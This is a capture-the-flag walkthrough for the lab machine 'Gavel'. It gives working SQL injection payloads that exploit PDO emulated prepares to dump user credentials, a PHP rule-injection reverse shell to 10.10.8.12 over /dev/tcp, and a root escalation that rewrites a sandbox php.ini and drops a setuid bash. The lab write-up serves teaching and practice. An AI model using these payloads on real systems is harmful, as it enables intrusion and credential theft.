1. RECON
1.1. Port Scan
$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/Hhg1nYlWGdi109d6k/OXFg0xbLVuEho3xQqX/DkRDPQ5Y9P6l2XLkbsSscgiQIq3/bHeX6T4mLci0/I/kHeI=
| 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMYFumAaeF6fOwurP+3zFG7iyLB1XC40te7RWDNVze0x
80/tcp open http syn-ack Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-git:
| 10.129.1.32:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
|_http-favicon: Unknown favicon MD5: 954223287BC6EB88C5DD3C79083B91E1
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Gavel Auction
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelWe see .git is downloadable.
1.2. Web App
The main page tells us everything:

This is an Auction platform — items, bids, users. It supports self-registration and login for participating in live auctions:


"Welcome to Gavel 2.0 … rise from its own ashes. Twice." — a versioned PHP system. Legacy deployments may persist, especially exploitable via a .git leak. The exploitation vector is direct.
1.3 Dir Fuzzing
Run dirsearch to brute-force directory paths:
$ dirsearch -u 'http://gavel.htb' -x 404
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Target: http://gavel.htb/
[17:21:38] Scanning:
[17:21:50] 301 - 305B - /.git -> http://gavel.htb/.git/
[ ... nip ... ]
[17:21:56] 403 - 274B - /.php
[17:22:11] 302 - 0B - /admin.php -> index.php
[17:22:31] 301 - 307B - /assets -> http://gavel.htb/assets/
[17:22:31] 200 - 2KB - /assets/
[17:23:00] 403 - 274B - /includes/
[17:23:00] 301 - 309B - /includes -> http://gavel.htb/includes/
[17:23:00] 200 - 14KB - /index.php
[17:23:00] 200 - 14KB - /index.php/login/
[17:23:06] 200 - 4KB - /login.php
[17:23:07] 302 - 0B - /logout.php -> index.php
[17:23:26] 200 - 4KB - /register.phpWe've already confirmed the presence of /.git, and /admin.php looks like a privesc vector.
2. WEB
2.1. Git Leak
When the /.git path is exposed, we can run git-dumper to exfiltrate the entire Git repo for the deployed web application. The concepts and usage examples have already been introduced in several earlier posts:

Introducing Hacktag (page link) — a filter for all past posts, letting us search the techniques we've learned so far, with usage and examples pulled from previous writeups. Multiple tags can be combined with AND logic to sharpen desired results.
# previously installed in Python venvs to avoid conflicts
# now recommended: install via pipx
pipx install git+https://github.com/arthaud/git-dumper
# dump repo to ./loot
git-dumper http://gavel.htb ./loot Repo dumped:
$ tree loot -a
loot
├── admin.php
├── assets
[ ... nip ...]
│ ├── jquery
│ │ ├── jquery.js
│ │ ├── jquery.min.js
│ │ ├── jquery.min.map
│ │ ├── jquery.slim.js
│ │ ├── jquery.slim.min.js
│ │ └── jquery.slim.min.map
│ └── jquery-easing
│ ├── jquery.easing.compatibility.js
│ ├── jquery.easing.js
│ └── jquery.easing.min.js
├── bidding.php
├── .git
│ ├── COMMIT_EDITMSG
│ ├── config
│ ├── description
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg.sample
[ ... nip ...]
├── includes
│ ├── auction.php
│ ├── auction_watcher.php
│ ├── bid_handler.php
│ ├── config.php
│ ├── db.php
│ └── session.php
├── index.php
├── inventory.php
├── login.php
├── logout.php
├── register.php
└── rules
└── default.yaml
293 directories, 3753 files2.2. PDO SQL Injection
2.2.1. Snyk Vuln Discovery
Now that we own the source, run Snyk against the repo for a quick vuln sweep:

Snyk immediately highlights a High severity SQL injection in inventory.php, line 21.
Looking at the current Git branch, inventory.php seems to use prepared statements across the board — suggesting the raw SQLi path may have been patched:

2.2.2. Backtick in PHP Prepared Statement
Only one commit touches inventory.php:
$ git log --oneline -- inventory.php
ff27a16 gavel auction readygit show ff27a16:inventory.php matches the current version byte-for-byte. Meaning: this is the only version we have — no pre-2.0 state to diff against.
Still, Snyk flags the following in inventory.php:21 as vulnerable:
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name'; // tainted
$col = "`" . str_replace("`", "", $sortItem) . "`"; // still tainted
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");From a static analysis POV:
$sortItemis derived from user input → tainted$colis directly built from it → still tainted$colis concatenated into an SQL string → SQL sink
At first glance, it may appear safe:
- Uses
PDO::prepare() user_idis bound via a placeholder:?$sortItemgets sanitized of backticks and wrapped in new ones
Tempting to conclude:
"Backticked column + PDO prepare = no SQLi."
That's where the illusion begins.
2.2.3. Code Review
2.2.3.1. inventory.php
The relevant portion of inventory.php is:
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("
SELECT item_name, item_image, item_description, quantity
FROM inventory
WHERE user_id = ?
ORDER BY quantity DESC
");
$stmt->execute([$userId]);
} else {
// [!] Vulnerable branch
$stmt = $pdo->prepare("
SELECT $col
FROM inventory
WHERE user_id = ?
ORDER BY item_name ASC
");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}Both sort and user_id are attacker-controlled:
sort→$sortItem→$coluser_id→$userId
Only sort is "sanitized" via backtick stripping. user_id is passed directly into the prepared statement.
The key detail: $col is part of the SQL structure, while user_id is a parameter. This mixture is the crux of a known weakness in MySQL's emulated prepares — detailed in PayloadsAllTheThings.
So what happened?
- The dev tried patching
sort, assuming that wrapping it in backticks makes it safe. - But
user_idremains raw and can be manipulated into bypassing the structure. - Together, they form a composite injection vector across a partially prepared query.
This results in a textbook PDO-based SQL injection — buried inside a seemingly clean prepare() call.
Next: we walk through how emulated prepares parse and why this slips past their guardrails.
2.2.4. Vuln Analysis
The whole magic is in how PDO rewrites the SQL string.
2.2.4.1. Vulnerable Query Shape
The slcyber article illustrates the precise shape of this vuln:
$col = '`' . $_GET['col'] . '`';
$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);When we send:
?col=?%23%00 # → "?#\0"
&name=xThen the prepared statement logic netures our input:
$col = '`?#\0`';So the SQL template that PDO receives before prepare emulation:
SELECT `?#\0` FROM fruit WHERE name = ?2.2.4.2. PDO Emulated Prepares
When PDO::ATTR_EMULATE_PREPARES = true (default for MySQL), PDO does something like:
- Take the SQL template string.
- Scan through it looking for the parameter markers (
?or:name). - For each parameter, replace that
?with a quoted version of the parameter value:- For
name = "x", it builds'<escaped_value>'→'x'.
- For
- Send the rewritten SQL string to MySQL.
Conceptually:
$template = "SELECT `?#\0` FROM fruit WHERE name = ?";
param = "x";
// emulated prepare:
final = "SELECT `?#\0` FROM fruit WHERE name = 'x'";Here's the catch:
PDO thinks the
?inside the backticks is the placeholder — not the one inWHERE.
That's the misfire. It replaces the wrong ?.
2.2.4.3. PDO Substitution
So it ends up doing:
SELECT `\?#\0` FROM fruit WHERE name = ?Now PDO will prepare with statement with the first wrong ?, instead of the latter real one:
SELECT `\?#\0` FROM fruit WHERE name = ?
^ ^
| └── real bound param
└── wrong bound paramSo if we injects the query parameter name with payload:
name=x`;#After PDO prepares using the first wrong ?, the whole query string becomes:
SELECT `'x`;#'#\0` FROM fruit WHERE name = ?This is equivalent to:
SELECT `'x`;BOOM. Full query detonation via placeholder confusion.
2.2.4.4. SubQuery Injection
Keep the col gadget (\?#\0), upgrade the name param:
?col=\?%23%00
&name=x` FROM (SELECT table_name AS `'x` FROM information_schema.tables)y;%23So again template before prepare:
SELECT `\?#\0` FROM fruit WHERE name = ?This time the injected param name becomes:
x` FROM (SELECT table_name AS `'x` FROM information_schema.tables) y;#PDO:
- Quotes and escapes this whole thing.
- Injects it in place of that first
?inside the backticked identifier.
The final, after-prepare SQL looks like:
SELECT `\'x` FROM (
SELECT table_name AS `\'x`
FROM information_schema.tables
) y;#'#\0` FROM fruit WHERE name = ?Everything after # is comment garbage. So the effective SQL query is:
SELECT `\'x` FROM (
SELECT table_name AS `\'x`
FROM information_schema.tables
) y;That's the actual effective query:
- We select the column
\'x(coming from the subquery alias) - From the derived table
ywhich returnstable_namevalues - The
#'#\0\..FROM..WHERE name = ?part is in a comment and never executed
SQL injection to bypass PDO parsing done.
That final
yis not a table name in the database. It is a table alias given to the sub-query directly above it. SQL syntax requires:SQL( SELECT ... ) aliasSo this:
SQL(SELECT table_name AS `\'x` FROM information_schema.tables)produces a temporary virtual table with one column:
\'x. But but SQL requires that virtual table to have a name — we choose a random one "y".
2.2.5. SQL Injection
Understanding how the quirk works, we pivot back to the Gavel box.
From inventory.php:
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = $pdo->prepare("
SELECT $col
FROM inventory
WHERE user_id = ?
ORDER BY item_name ASC
");
$stmt->execute([$userId]);sort→ controls$col→ the SQL fragment (likecolin previous example)user_id→ is the bound parameter to?(likenamein previous example)
The idea is simple:
- Use
sortto inject the confusion gadget (i.e.,"\?#\0") - Use
user_idto inject the real SQL payload
Just login normally to set $_SESSION['user']. Navigate to the inventory page and adjust the sort dropdown.

Intercept the request in Burp and swap in the following payloads:
user_id = x`+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y;--+-
sort = \?--+-%00Since the backend wraps user input in double quotes, we escape the placeholder with \, and comment out the remainder with -- - instead of #:

Jackpot — users table recovered.
So we keep exactly that structure, and only mutate the inner SELECT. We swap in a new subquery:
SELECT table_name AS '\'x'
FROM information_schema.tablesTo enumerate columns from the users table:
SELECT column_name AS '\'x'
FROM information_schema.columns
WHERE table_schema = database()
AND table_name = 'users';To avoid quote hell, we can use hex for 'users' → 0x7573657273. So our new user_id payload becomes:
x`+FROM+(
SELECT+column_name+AS+`'x`+
FROM+information_schema.columns+
WHERE+table_schema=database()+
AND+table_name=0x7573657273
)y;--+-Keep sort untouched. Flattened for Burp Repeater:
x`+FROM+(SELECT+column_name+AS+`'x`+from+information_schema.columns+WHERE+table_schema=database()+AND+table_name=0x7573657273)y;--+-
Columns found: id, username, password.
Final strike: exfil username:password pairs:
SELECT CONCAT(username, 0x3a, password) AS '\'x'
FROM users;Payload:
x`+FROM+(
SELECT+CONCAT(username,0x3a,password)+AS+`'x`+
from+users
)y;--+-Flattened:
x`+FROM+(SELECT+CONCAT(username,0x3a,password)+AS+`'x`+from+users)y;--+-
Exfil hash:
auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfSBcrypt, cost 10, cheap. Crack it with hashcat mode 3200:
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So...H5RTfS2.3. Arbitrary Code Execution
Re-login to the auction platform using the cracked credentials auctioneer / midnight1:

Welcome to the Admin Panel.
2.3.1. Code Review
Now we can access the admin panel, which corresponds to admin.php from the leaked source code.
2.3.1.1. admin.php
Key logic of admin.php:
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$auction_id = intval($_POST['auction_id'] ?? 0);
$rule = trim($_POST['rule'] ?? '');
$message = trim($_POST['message'] ?? '');
if ($auction_id > 0 && (empty($rule) || empty($message))) {
$stmt = $pdo->prepare("SELECT rule, message FROM auctions WHERE id = ?");
$stmt->execute([$auction_id]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
...
if (empty($rule)) $rule = $row['rule'];
if (empty($message)) $message = $row['message'];
}
if ($auction_id > 0 && $rule && $message) {
$stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
$stmt->execute([$rule, $message, $auction_id]);
$_SESSION['success'] = 'Rule and message updated successfully!';
header('Location: admin.php');
exit;
}
}We (as auctioneer) control:
auction_idrulemessage
Those values are written verbatim into auctions.rule and auctions.message using prepared statements. So rule is an arbitrary string in the DB we fully control.
2.3.1.2. auction_watcher.php
Auctions and rules are created via includes/auction_watcher.php:
$rules = yaml_parse_file(ROOT_PATH . '/rules/default.yaml');
...
$selectedRule = $rules['rules'][array_rand($rules['rules'])];
$stmt = $pdo->prepare("INSERT INTO auctions
(item_name, ..., rule, message, started_at, ends_at, status)
VALUES (..., :rule, :message, NOW(), ..., 'active')");
$stmt->execute([
...
'rule' => $selectedRule['rule'],
'message' => $selectedRule['message']
]);
$auctionId = $pdo->lastInsertId();
file_put_contents(ROOT_PATH . '/rules/auction_' . $auctionId . '.yaml', yaml_emit($selectedRule));So:
- Defaults come from
rules/default.yaml. - For each auction, we get:
- DB row with
rule+message. - YAML file
/rules/auction_<id>.yamlwith the same content.
- DB row with
But at this point rules are still just data. The exploit entry comes from how these rules are evaluated.
2.3.1.2. bidding.php
bidding.php renders the auction interface:
$auctions = get_all_active_auctions($pdo);
...
<p class="mb-1 text-justify">
<strong>Message:</strong> <?= $auction['message'] ?>
</p>
...
<form class="bidForm mt-4" method="POST">
<input type="hidden" name="auction_id" value="<?= $auction['id'] ?>">
<input type="number" name="bid_amount" ...>
</form>The actual bidding is handled by AJAX → includes/bid_handler.php:
const response = await fetch('includes/bid_handler.php', {
method: 'POST',
body: formData
});
const result = await response.json();2.3.1.3. bid_handler.php
The payload goes live under includes/bid_handler.php:
$rule = $auction['rule'];
$rule_message = $auction['message'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}$rule comes directly from the DB (auctions.rule). They dynamically define a function:
runkit_function_add(
'ruleCheck',
'$current_bid, $previous_bid, $bidder',
$rule // <- this is literally the function body
);Then they call it:
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);So our rule string is treated as raw PHP source, dropped inside:
function ruleCheck($current_bid, $previous_bid, $bidder) {
// <contents of $rule>
}This is even worse than eval($rule) — it's persistent between calls until they remove it.
Before the rule executes, bid_handler enforces some checks:
if (!$auction || $auction['status'] !== 'active' || strtotime($auction['ends_at']) < time()) { ... }
if ($bid_amount <= 0) { ... }
if ($bid_amount <= $auction['current_price']) { ... }
$stmt = $pdo->prepare("SELECT money FROM users WHERE id = ?");
...
if (!$user || $user['money'] < $bid_amount) { ... }So to trigger the rule / RCE:
auction_idmust be an active auction.- Auction must not be expired.
bid_amount> 0.bid_amount> current price.
We must have enough money to cover the chosen bid, which we do as the web admin:

After all that:
$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;
$rule = $auction['rule']; // injection payload
$rule_message = $auction['message'];
... then runkit_function_add(...)
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);Our payload returns true, so we get both:
- Arbitrary PHP code execution
- And a seemingly successful bid.
2.3.2. RCE
With full control of the auctioneer account — and effectively unlimited funds — we can overwrite the rule and message fields of any active auction:
UPDATE auctions SET rule = ?, message = ? WHERE id = ?This is intended for dynamic bidding rules, but since rule is injected into a runtime function body via runkit_function_add(), we can execute arbitrary PHP.
Replace the rule for any active auction with a reverse shell payload:
system('bash -c "bash -i >& /dev/tcp/10.10.8.12/60001 0>&1"');
return true;
Now auctions.rule for the chosen auction literally contains that PHP code. Then bid the chosen auction from bidding.php:

Reverse shell capture:

Web root www-data account compromised
3. USER
From /etc/passwd, we identify a valid local user with an interactive shell:
auctioneer:x:1001:1002::/home/auctioneer:/bin/bashWe reuse the previously cracked credentials for auctioneer:

User flag secured.
Reviewing
/etc/ssh/sshd_configrevealed the following hardening rule:/etc/ssh/sshd_configDenyUsers auctioneerThis blocks SSH access for the
auctioneeraccount — password or key-based — entirely.
To maintain a stable shell session for escalation, spawn a TTY via:
python3 -c 'import pty; pty.spawn("/bin/bash")'From here, we're live inside the user context.
4. ROOT
4.1. Privesc Vector
From the id output, we confirm that auctioneer is a member of an extra group gavel-seller:
auctioneer@gavel:~$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)LinPEAS yields a few leads:
╔══════════╣ Executable files potentially added by user (limit 70)
2025-11-05+12:22:00.2439899130 /etc/console-setup/cached_setup_terminal.sh
2025-11-05+12:22:00.2439899130 /etc/console-setup/cached_setup_keyboard.sh
2025-11-05+12:22:00.2439899130 /etc/console-setup/cached_setup_font.sh
2025-11-04+13:32:46.0879923990 /usr/local/sbin/laurel
2025-10-03+19:35:58.6240656280 /usr/local/bin/gavel-util
2025-10-03+18:37:42.7123377970 /var/www/html/gavel/rules/default.yamlThat binary — /usr/local/bin/gavel-util — immediately stands out. Inspect it:

This non-stripped, root-owned, YAML-parsing, command-executing binary is almost certainly the privilege escalation fuel.
4.2. Gavel Client
4.2.1. Reversing
Download the target binary, load it into IDA. The binary is non-stripped and decompiles cleanly. It supports the following commands:
submit <file>statsinvoice
For submit <file>, the logic is:
v5 = argv[2];
stat(v5, &buf); // check file exists & is regular file
if ((buf.st_mode & 0xF000) == 0x8000) { // regular file
if (buf.st_size > 10485760) {
// file too large
} else {
v6 = fopen(v5, "rb");
...
v8 = malloc(buf.st_size);
fread(v8, 1, buf.st_size, v6);
fclose(v6);
v14 = connect_sock(); // connect to /var/run/gaveld.sock
if (v14 >= 0) {
v15 = json_object_new_object();
json_object_object_add(v15, "op", json_object_new_string("submit"));
json_object_object_add(v15, "filename", json_object_new_string(v5));
json_object_object_add(v15, "flags", json_object_new_string(""));
json_object_object_add(v15, "content_length", json_object_new_int(st_size));
v20 = collect_env();
json_object_object_add(v15, "env", v20);
send_header_and_content(v14);
json_object_put(v15, v15);
free(v9);
v21 = recv_response(v14);
...
close(v14);
}
}
}In short: the binary reads the file (v5) into memory, and constructs a JSON payload:
{
"op": "submit",
"filename": "<argv[2]>",
"flags": "",
"content_length": <file_size>,
"env": { ... from collect_env() ... }
}The payload is dispatched over the Unix socket at /var/run/gaveld.sock.
So, to be clear: gavel-util is just a thin client wrapper. The real logic — and privilege boundary — lives in gaveld, the daemon on the other end of that socket.
4.3. Gavel Server
We locate the server-side binary gaveld:
auctioneer@gavel:~$ ps -ef | grep gavel
root 1047 1 0 Nov29 ? 00:00:00 /opt/gavel/gaveld
root 1054 1 0 Nov29 ? 00:01:55 python3 /root/scripts/timeout_gavel.py
root 133422 1047 0 08:28 ? 00:00:00 [gaveld] <defunct>
auction+ 135228 89886 0 08:36 pts/0 00:00:00 grep gavelDirectory content confirms:
auctioneer@gavel:~$ cd /opt/gavel && ls
gaveld sample.yaml submissionInside sample.yaml, we find:
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"We don't even need to reverse it to smell it — the rule string is raw PHP logic using $current_bid, $previous_bid, and $bidder, exactly like the web layer.
4.3.1. Reversing
Still, we reverse it — because it's simple and worth the certainty.
Download /opt/gavel/gaveld. Inside, we immediately identify the key vulnerability: php_safe_run.

Signature:
_BOOL8 __fastcall php_safe_run(__int64 a1, const char *a2, const char *a3, __int64 a4)a1– JSON header object (the one built from the client request).a2– the rule string (PHP code from YAML:item.rule).a3– buffer where PHP output will be stored (char*).a4– size of that buffer.
Now the meat.
4.3.1.1. Env Hijacking
The function first inspects the JSON object for a config override:
v15 = 0;
json_object_object_get_ex(a1, &unk_5004, &v15);
if ( v15
&& json_object_is_type(v15, 4) // type == object
&& json_object_object_get_ex(v15, "RULE_PATH", &rlimits) )
{
string = json_object_get_string(rlimits.rlim_cur);
strncpy(dest, "/opt/gavel/.config/php/php.ini", 0x1000);
v20 = 0;
if (string && *string &&
!stat(string, &buf) &&
(buf.st_mode & 0xF000) == 0x8000 && // regular file
!access(string, 4)) // readable
{
strncpy(dest, string, 0x1000);
v20 = 0;
}
}
else {
strncpy(dest, "/opt/gavel/.config/php/php.ini", 0x1000);
v20 = 0;
}Meaning:
- If the JSON contains an
"env"object with a"RULE_PATH"key, - And that file exists, is readable, and is a regular file,
- It will override the default
php.iniwith our supplied path.
And since gavel-util includes an "env" object built from collect_env(), we can inject RULE_PATH=/tmp/own.ini as a real per-request PHP config override.
4.3.1.2. PHP Code Construction
The PHP code it constructs:
__snprintf_chk(
v21,
0x2000,
1,
0x2000,
"function __sandbox_eval() {$previous_bid=%ld;$current_bid=%ld;$bidder='%s';%s};"
"$res = __sandbox_eval();"
"if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }"
"else if($res) { echo 'ILLEGAL_RULE'; }",
150,
200,
"Shadow21A",
a2);So v21 becomes PHP code like:
function __sandbox_eval() {
$previous_bid = 150;
$current_bid = 200;
$bidder = 'Shadow21A';
<OUR RULE HERE>;
};
$res = __sandbox_eval();
if (!is_bool($res)) {
echo 'SANDBOX_RETURN_ERROR';
} else if ($res) {
echo 'ILLEGAL_RULE';
}So our injected rule is dropped verbatim inside the body of __sandbox_eval().
- No sandboxing of effects — only the return value is checked.
- No restrictions on
file_put_contents,system,shell_exec, etc., unless disabled in the selectedphp.ini. - It only cares about:
- Return type must be boolean
- If true → prints
ILLEGAL_RULE - If not boolean →
SANDBOX_RETURN_ERROR
They do not sanitize or restrict the payload in here.
4.3.1.4. PHP Code Execution
Then comes the actual execution via execv(...). The call is built using a stat struct:
*(_QWORD *)&buf.st_mode = dest; // argv[0] == php.ini path for "-c" later
buf.st_dev = "/usr/bin/php"; // argv[0] for execv
buf.st_ino = "-n";
buf.st_nlink = "-c";
*(_QWORD *)&buf.st_gid = "-d";
buf.st_rdev = "display_errors=1";
buf.st_size = "-r";
buf.st_blksize = (blksize_t)v21; // the PHP code string
buf.st_blocks = 0;Given how execv is called:
execv((const char *)buf.st_dev, (char *const *)&buf);This roughly becomes:
char *argv[] = {
"/usr/bin/php",
"-n",
"-c",
dest, // php.ini path (default or RULE_PATH)
"-d",
"display_errors=1",
"-r",
v21, // the constructed PHP code
NULL
};
execv("/usr/bin/php", argv);So in full:
/usr/bin/php -n -c path/to/php.ini -d display_errors=1 -r '<injected PHP>'We're executing raw PHP with a custom config file, under root, without isolation.
4.4. Exploit
Putting it all together:
gaveldruns as root.- For each submission, it calls
php_safe_runto test your YAMLitem.rule. php_safe_run:- Runs your PHP code inside
__sandbox_eval()via/usr/bin/php -c <php.ini> -r <code>. - Uses php.ini either from:
- Default
/opt/gavel/.config/php/php.ini, or RULE_PATHfrom JSON env (fed from environment variableRULE_PATH).
- Default
- Runs your PHP code inside
So the idea is simple: If we inject our own php.ini, we gain full control over the PHP environment running as root.
There are thousands of exploit paths for this binary — especially since we hold write primitives targeting
gaveld.
Below, we spotlight two levers:
4.4.1. Lever A | RULE_PATH override
Because the client (gavel-util) uses collect_env() to capture environment variables, we can inject RULE_PATH like so:
export RULE_PATH=/tmp/evil.ini
gavel-util submit good.yamlThis results in:
"env": {
"RULE_PATH": "/tmp/evil.ini"
}And php_safe_run should have honored that override if the file is:
- Regular (
stat()check), - Readable (
access()check).
So we drop our payload config:
cat > /tmp/evil.ini << 'EOF'
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALLa
; hijack open dir
open_basedir=/
; clear all disables
disable_functions=
; optional
scan_dir=
EOFThat clears out every restriction — no open_basedir, no disable_functions, fully armed interpreter.
Then prepare the rule YAML:
cat > /tmp/test.yaml << 'EOF'
name: "test"
description: "test"
image: "https://x"
price: 1
rule_msg: "test"
rule: "system('whoami > /tmp/pwned.txt'); return false;"
EOFTrigger:
RULE_PATH=/tmp/evil.ini test.yamlExpectation: pwned.txt gets written by root. Reality:

It failed.
Suspecting our custom ini never loaded, we build a probe payload:
cat > /tmp/check_phpini.yaml << 'EOF'
name: "CheckIni"
description: "Check PHP config"
image: "https://x"
price: 1
rule_msg: "test"
rule: "echo ini_get('open_basedir') . '|' . ini_get('disable_functions'); return false;"
EOFThen strace the call:
RULE_PATH=/tmp/evil.ini \
strace -ff -s 500 -o /tmp/gavel_env.trace \
gavel-util submit /tmp/check_phpini.yaml
With the env passing, the output strace log did break the /opt/gavel path restriction though. Client-side JSON confirms:
{
"op": "submit",
"filename": "/tmp/check_phpini.yaml.yaml",
"env": {
"RULE_PATH": "/tmp/evil.ini",
...
}
}So: RULE_PATH is received and injected into the request payload — this reaches the daemon, intact.
On the server side, php_safe_run():
- Extracts the
envobject, - Looks up
RULE_PATH, - Confirms it exists and is readable via
stat()+access(), - Then sets
dest = RULE_PATH.
However, the possible reason could be the daemon builds its PHP execution as:
/usr/bin/php -n -c dest -d display_errors=1 -r "function __sandbox_eval(){...rule...}; $res = __sandbox_eval(); ..."And -n — that's the death flag. It explicitly disables all configuration loading (?), even if -c is set.
The box creator nukes this entire vector with a hardcoded php.ini—enforced via php -n?
4.4.1. Lever B | Evil rules
The sample YAML contains:
item:
...
rule: " <our PHP code> "Which gets compiled into:
function __sandbox_eval() {
$previous_bid = 150;
$current_bid = 200;
$bidder = 'Shadow21A';
<our PHP code>;
}Inside that, we can run anything permitted by /opt/gavel/.config/php/php.ini:
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off- Includes and most "dangerous" meta constructs (
eval,assert,unserialize,extract, etc.) are neutered. open_basedir=/opt/gavelmeans any filesystem access outside/opt/gavelis blocked by PHP itself.
Still, the sandbox is tissue-thin:
- Write primitives under
/opt/gavel:file_put_contents(),copy(),rename(),unlink(),mkdir(),chmod()
- Read primitives inside
/opt/gavel:file(),scandir(),glob()
- Arbitrary PHP logic:
- String ops, control flow, arithmetic, variable injection (
$bidder, etc.)
- String ops, control flow, arithmetic, variable injection (
Our primitive:
Arbitrary PHP running as root (via
gaveld), allowed to read/write anywhere under/opt/gavel, but no direct shell or FS escape.
Instead of abusing the rule for logic — we abuse it for side-effects.
Write a rule that rewrites the daemon's php.ini, then returns false to fail gracefully:
cat > /tmp/hackini.yaml << 'EOF'
name: "hackini"
description: "Relax the sandbox"
image: "https://x"
price: 1
rule_msg: "config updated"
rule: "
file_put_contents(
'/opt/gavel/.config/php/php.ini',
\"engine=On\n\" .
\"display_errors=On\n\" .
\"display_startup_errors=On\n\" .
\"log_errors=Off\n\" .
\"error_reporting=E_ALL\n\" .
\"open_basedir=/\n\" .
\"disable_functions=\n\" .
\"scan_dir=\n\" .
\"allow_url_fopen=Off\n\" .
\"allow_url_include=Off\n\"
);
return false;
"
EOFNow trigger:
gavel-util submit /tmp/hackini.yamlWhat happens:
gavel-utilsends our YAML over the socket.gaveldparses and callsphp_safe_run()as root.- Our
ruleexecutes and overwrites the php.ini to fully unlock execution. - It returns
false, so the rule fails silently — but the payload already landed.
Verify the hijack:

From now on, future calls to php_safe_run() will use this new php.ini and no longer have system() disabled.
Build a second config that drops a setuid-root bash shell in our home:
# setuid rule
cat > /tmp/root.yaml << 'EOF'
name: "root"
description: "SUID Bash"
image: "https://x"
price: 1
rule_msg: "ok"
rule: "
system('install -o root -m 4755 /bin/bash /home/auctioneer/bsh');
return false;
"
EOF
# submit
gavel-util submit /tmp/root.yamlWeaponized binary dropped, permissions set:

Rooted:
Comments | NOTHING